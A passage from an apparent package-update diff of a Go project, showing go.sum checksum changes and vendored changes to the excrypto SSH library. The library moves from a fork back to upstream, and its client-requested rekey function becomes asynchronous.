h1:U728YNUJrCpd83oxpTZw+xXK9+toDGrrRI/YQTq9U2w=
-github.com/msuiche/excrypto v0.43.2-0.20260907192101-05292dc2f370/go.mod 
h1:CQo6LfXwh+dpf0OA7wO4MLUCDJAqIKVq/SSAQsg6TP0=
 github.com/pelletier/go-toml/v2 v2.4.3 
h1:GTRvJQutkOSftxIFD5xw9aepkYNuPWmVJpffdDPYVpY=
 github.com/pelletier/go-toml/v2 v2.4.3/go.mod 
h1:2gIqNv+qfxSVS7cM2xJQKtLSTLUE9V8t9Stt+h56mCY=
 github.com/rogpeppe/go-internal v1.9.0 
h1:73kH8U+JUqXU8lRuOHeVHaa/SZPifC7BkcraZVejAe8=
 github.com/rogpeppe/go-internal v1.9.0/go.mod 
h1:WtVeX8xhTBvf0smdhujwtBcq4Qrzq/fJaraNFVN+nFs=
+github.com/runZeroInc/excrypto v0.43.2 
h1:ngXpeP+zrsXeCw3LF8i6u/9BQiWLPpYz1yopjhkF1H0=
+github.com/runZeroInc/excrypto v0.43.2/go.mod 
h1:CQo6LfXwh+dpf0OA7wO4MLUCDJAqIKVq/SSAQsg6TP0=
 github.com/russross/blackfriday/v2 v2.1.0/go.mod 
h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
 github.com/sagikazarmark/locafero v0.12.0 
h1:/NQhBAkUb4+fH1jivKHWusDYFjMOOKU88eegjfxfHb4=
 github.com/sagikazarmark/locafero v0.12.0/go.mod 
h1:sZh36u/YSZ918v0Io+U9ogLYQJ9tLLBmM4eneO6WwsI=

++++++ vendor.tar.gz ++++++
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' 
old/vendor/github.com/runZeroInc/excrypto/x/crypto/ssh/client_research.go 
new/vendor/github.com/runZeroInc/excrypto/x/crypto/ssh/client_research.go
--- old/vendor/github.com/runZeroInc/excrypto/x/crypto/ssh/client_research.go   
2026-09-07 21:41:04.000000000 +0200
+++ new/vendor/github.com/runZeroInc/excrypto/x/crypto/ssh/client_research.go   
2026-09-10 23:26:42.000000000 +0200
@@ -130,9 +130,11 @@
 }
 
 // RequestKeyExchange initiates a client-requested key re-exchange (rekey)
-// on the underlying transport and blocks until the exchange completes,
-// returning the exchange's error, if any. On return, subsequent packets are
-// guaranteed to be sent over the rekeyed transport.
+// on the underlying transport, without waiting for it to complete. Packets
+// written while the re-exchange is in progress are queued by the transport
+// and flushed once it finishes, so callers can continue using the connection
+// immediately; if the re-exchange fails, the error surfaces on the next
+// read or write.
 //
 // This enables pre-authentication state-transition research, e.g. probing
 // how a server handles connection-protocol messages after a rekey that was
@@ -145,7 +147,8 @@
        if !ok {
                return errors.New("ssh: transport does not support 
client-requested rekey")
        }
-       return ht.requestKeyExchangeSync()
+       ht.requestKeyExchange()
+       return nil
 }
 
 func (uac *UnauthClientConn) RequestUserAuth() (map[string][]byte, error) {
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' 
old/vendor/github.com/runZeroInc/excrypto/x/crypto/ssh/handshake.go 
new/vendor/github.com/runZeroInc/excrypto/x/crypto/ssh/handshake.go
--- old/vendor/github.com/runZeroInc/excrypto/x/crypto/ssh/handshake.go 
2026-09-07 21:41:04.000000000 +0200
+++ new/vendor/github.com/runZeroInc/excrypto/x/crypto/ssh/handshake.go 
2026-09-10 23:26:42.000000000 +0200
@@ -105,13 +105,6 @@
        // message.
        requestKex chan struct{}
 
-       // requestKexSync carries synchronous (awaited) key change requests.
-       // Each requester is appended to syncKexWaiters and notified when the
-       // next key exchange completes or the loop exits. Both are owned by
-       // kexLoop.
-       requestKexSync chan chan error
-       syncKexWaiters []chan error
-
        // If the other side requests or confirms a kex, its kexInit
        // packet is sent here for the write loop to find it.
        startKex    chan *pendingKex
@@ -152,11 +145,10 @@
                conn:          conn,
                serverVersion: serverVersion,
                clientVersion: clientVersion,
-               incoming:       make(chan []byte, chanSize),
-               requestKex:     make(chan struct{}, 1),
-               requestKexSync: make(chan chan error, 1),
-               startKex:       make(chan *pendingKex),
-               kexLoopDone:    make(chan struct{}),
+               incoming:      make(chan []byte, chanSize),
+               requestKex:    make(chan struct{}, 1),
+               startKex:      make(chan *pendingKex),
+               kexLoopDone:   make(chan struct{}),
 
                config: config,
        }
@@ -303,19 +295,6 @@
        }
 }
 
-// requestKeyExchangeSync requests a key change and blocks until the key
-// exchange completes (or the connection fails), returning the exchange's
-// error, if any. Multiple callers are all notified of the same exchange.
-func (t *handshakeTransport) requestKeyExchangeSync() error {
-       res := make(chan error, 1)
-       select {
-       case t.requestKexSync <- res:
-       case <-t.kexLoopDone:
-               return errors.New("ssh: connection closed")
-       }
-       return <-res
-}
-
 func (t *handshakeTransport) resetWriteThresholds() {
        t.writePacketsLeft = packetRekeyThreshold
        if t.config.RekeyThreshold > 0 {
@@ -342,8 +321,6 @@
                                }
                        case <-t.requestKex:
                                break
-                       case res := <-t.requestKexSync:
-                               t.syncKexWaiters = append(t.syncKexWaiters, res)
                        }
 
                        if !sent {
@@ -397,12 +374,6 @@
 
                request.done <- t.writeError
 
-               // Notify synchronous key change requesters.
-               for _, w := range t.syncKexWaiters {
-                       w <- t.writeError
-               }
-               t.syncKexWaiters = nil
-
                // kex finished. Push packets that we received while
                // the kex was in progress. Don't look at t.startKex
                // and don't increment writtenSinceKex: if we trigger
@@ -429,16 +400,6 @@
                request.done <- t.getWriteError()
        }
 
-       // Fail any outstanding synchronous key change requests.
-       err := t.getWriteError()
-       if err == nil {
-               err = errors.New("ssh: connection closed")
-       }
-       for _, w := range t.syncKexWaiters {
-               w <- err
-       }
-       t.syncKexWaiters = nil
-
        // Mark that the loop is done so that Close can return.
        close(t.kexLoopDone)
 }
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/vendor/modules.txt new/vendor/modules.txt
--- old/vendor/modules.txt      2026-09-07 21:41:04.000000000 +0200
+++ new/vendor/modules.txt      2026-09-10 23:26:42.000000000 +0200
@@ -28,7 +28,7 @@
 github.com/pelletier/go-toml/v2/internal/parserbridge
 github.com/pelletier/go-toml/v2/internal/tracker
 github.com/pelletier/go-toml/v2/unstable
-# github.com/runZeroInc/excrypto v0.43.2 => github.com/msuiche/excrypto 
v0.43.2-0.20260907192101-05292dc2f370
+# github.com/runZeroInc/excrypto v0.43.2
 ## explicit; go 1.27.1
 github.com/runZeroInc/excrypto/crypto
 github.com/runZeroInc/excrypto/crypto/aes
@@ -217,4 +217,3 @@
 gonum.org/v1/gonum/stat
 # gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15
 ## explicit
-# github.com/runZeroInc/excrypto => github.com/msuiche/excrypto 
v0.43.2-0.20260907192101-05292dc2f370

Reply via email to